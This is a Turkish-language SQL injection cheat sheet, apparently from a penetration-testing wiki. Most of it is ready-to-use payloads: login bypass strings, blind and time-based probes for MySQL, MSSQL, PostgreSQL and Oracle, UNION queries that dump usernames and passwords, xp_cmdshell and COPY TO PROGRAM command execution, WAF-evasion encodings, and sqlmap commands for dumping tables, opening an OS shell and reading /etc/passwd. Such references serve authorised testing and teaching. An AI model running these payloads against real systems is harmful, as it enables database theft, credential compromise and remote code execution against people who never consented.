Skip to content

SQL Injection

OWASP A03 · Injection difficulty: orta

SQL Injection (SQLi), kullanıcı girdisinin yeterince doğrulanmadan bir SQL sorgusuna eklenmesiyle oluşur. Saldırgan, sorgunun mantığını değiştirerek kimlik doğrulamayı atlatabilir, tüm veritabanını okuyabilir, veriyi değiştirebilir ve bazı yapılandırmalarda işletim sistemi komutu çalıştırabilir.

Uygulama, girdiyi sorgu metnine string olarak birleştirdiğinde:

-- Sunucu tarafı (güvensiz birleştirme)
SELECT * FROM users WHERE username = '$user' AND password = '$pass';

username alanına admin’– - girildiğinde sorgu şuna dönüşür ve parola kontrolü yorum satırına düşer:

SELECT * FROM users WHERE username = 'admin'-- -' AND password = '';

Aynı mantık sayısal bağlamda tırnak olmadan da geçerlidir:

SELECT * FROM products WHERE id = $id
-- id = 1 OR 1=1
TürVeri dönüşüTipik kullanım
In-band / UNIONYanıtta doğrudanHızlı enum + dump
Error-basedHata mesajındaUNION kapalıysa
Blind – BooleanDoğru/yanlış farkıYanıt içeriği sabit
Blind – TimeGecikmeHiçbir fark yoksa
Out-of-band (OAST)DNS/HTTP callbackFirewall arkasında
Stacked queriesYan etki; DROP / xp_cmdshell
  1. Kırılma noktasını bul — ’ , “ , ) , \ , %27 gibi karakterlerle sorguyu bozup hata, boş sonuç veya davranış değişikliği gözle. JSON/XML gövdelerini, cookie ve X-Forwarded-* başlıklarını da test et.

  2. Mantıksal test — aynı isteği doğru ve yanlış koşullarla karşılaştır:

    ' OR '1'='1
    ' AND '1'='2
    1 AND 1=1
    1 AND 1=2
  3. Zaman testi — kör noktalarda gecikme enjekte et:

    1' AND SLEEP(5)-- - -- MySQL / MariaDB
    1'; WAITFOR DELAY '0:0:5'-- - -- MSSQL
    1' AND pg_sleep(5)-- - -- PostgreSQL
    1' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- - -- Oracle
  4. DBMS’i parmak izle — sürüm fonksiyonları ve hata metinleri:

    ' UNION SELECT @@version-- - -- MySQL / MSSQL
    ' UNION SELECT version()-- - -- PostgreSQL / MySQL
    ' UNION SELECT banner FROM v$version-- - -- Oracle

sqlmap · dump

embedded tool
Generated command
sqlmap -u https://hedef/item?id=1 -p id -D shop -T users --dump --batch

UNION başarılı olması için sütun sayısı ve uyumlu veri tipleri gerekir:

-- Sütun sayısını bul
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - -- hata gelene kadar artır
' UNION SELECT NULL,NULL,NULL-- -
-- Yansıyan sütunu bul (string dönen sütun)
' UNION SELECT 'a','b','c'-- -
-- Veri çek (MySQL information_schema)
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- -
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT NULL,CONCAT(username,0x3a,password),NULL FROM users-- -

PostgreSQL’de şema keşfi:

' UNION SELECT NULL,tablename,NULL FROM pg_tables-- -
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -

MSSQL’de:

' UNION SELECT NULL,name,NULL FROM sysobjects WHERE xtype='U'-- -
' UNION SELECT NULL,name,NULL FROM syscolumns WHERE id=OBJECT_ID('users')-- -
-- MySQL
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))-- -
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)-- -
-- MSSQL
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -
-- PostgreSQL
' AND 1=CAST((SELECT version()) AS int)-- -
-- Boolean: ilk karakter 'a' mi?
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'-- -
-- Binary search / ascii
' AND ASCII(SUBSTRING((SELECT database()),1,1))>90-- -
-- Time-based conditional (MySQL)
' AND IF(SUBSTRING(database(),1,1)='s',SLEEP(5),0)-- -
-- MSSQL
'; IF (SELECT SUBSTRING(db_name(),1,1))='m' WAITFOR DELAY '0:0:5'-- -

Stacked (;) çoğu zaman MSSQL / PostgreSQL’de desteklenir; MySQL connector’a bağlıdır.

-- MSSQL stacked
'; SELECT 1; WAITFOR DELAY '0:0:5'-- -
-- xp_cmdshell (aktifse / enable edilebiliyorsa)
'; EXEC xp_cmdshell 'whoami'-- -
-- PostgreSQL COPY / LO (yapılandırmaya bağlı)
'; COPY (SELECT '') TO PROGRAM 'id'-- -

Payload önce bir alana (profil adı, ticket notu) yazılır; sonra başka bir sorguda tırnaksız kullanılır. Tespitte: saklanan değerde ’ bırak, sonra o değeri kullanan işlevi tetikle (rapor, arama, admin paneli).

-- Yorum / boşluk alternatifleri
/**/UNION/**/SELECT/**/
%09UNION%0aSELECT -- tab / newline
UN/**/ION SEL/**/ECT
-- Case / encoding
uNiOn SeLeCt
%55%4e%49%4f%4e%20%53%45%4c%45%43%54
-- String birleştirme (MySQL)
CONCAT('ad','min')
CHAR(97,100,109,105,110)
-- Anahtar kelime parçalama
SEL%00ECT -- bazı WAF'lar null byte keser (tarihsel)
0x61646d696e -- hex literal
Terminal window
sqlmap -r request.txt --batch
Terminal window
sqlmap -u "https://hedef/item?id=1" -p id --dbs --batch
Terminal window
sqlmap -u "https://hedef/item?id=1" -D shop --tables
Terminal window
sqlmap -u "https://hedef/item?id=1" -D shop -T users --dump
Terminal window
sqlmap -u "https://hedef/api/login" --data='{"user":"*","pass":"x"}' --batch
Terminal window
sqlmap -r request.txt --level 5 --risk 3 --technique=BEUSTQ --batch
Terminal window
sqlmap -r request.txt --os-shell
Terminal window
sqlmap -r request.txt --file-read="/etc/passwd"
  • SQLi → dosya okuma ( LOAD_FILE , pg_read_file ) → kaynak kod / config sızdırma
  • SQLi → INTO OUTFILE / xp_cmdshell → web shell / RCE
  • Blind SQLi → OAST (MySQL LOAD_FILE + UNC, MSSQL xp_dirtree ) ile hızlı exfil
  • Auth bypass SQLi → admin paneli → başka zafiyetlere (upload, deserialization) geçiş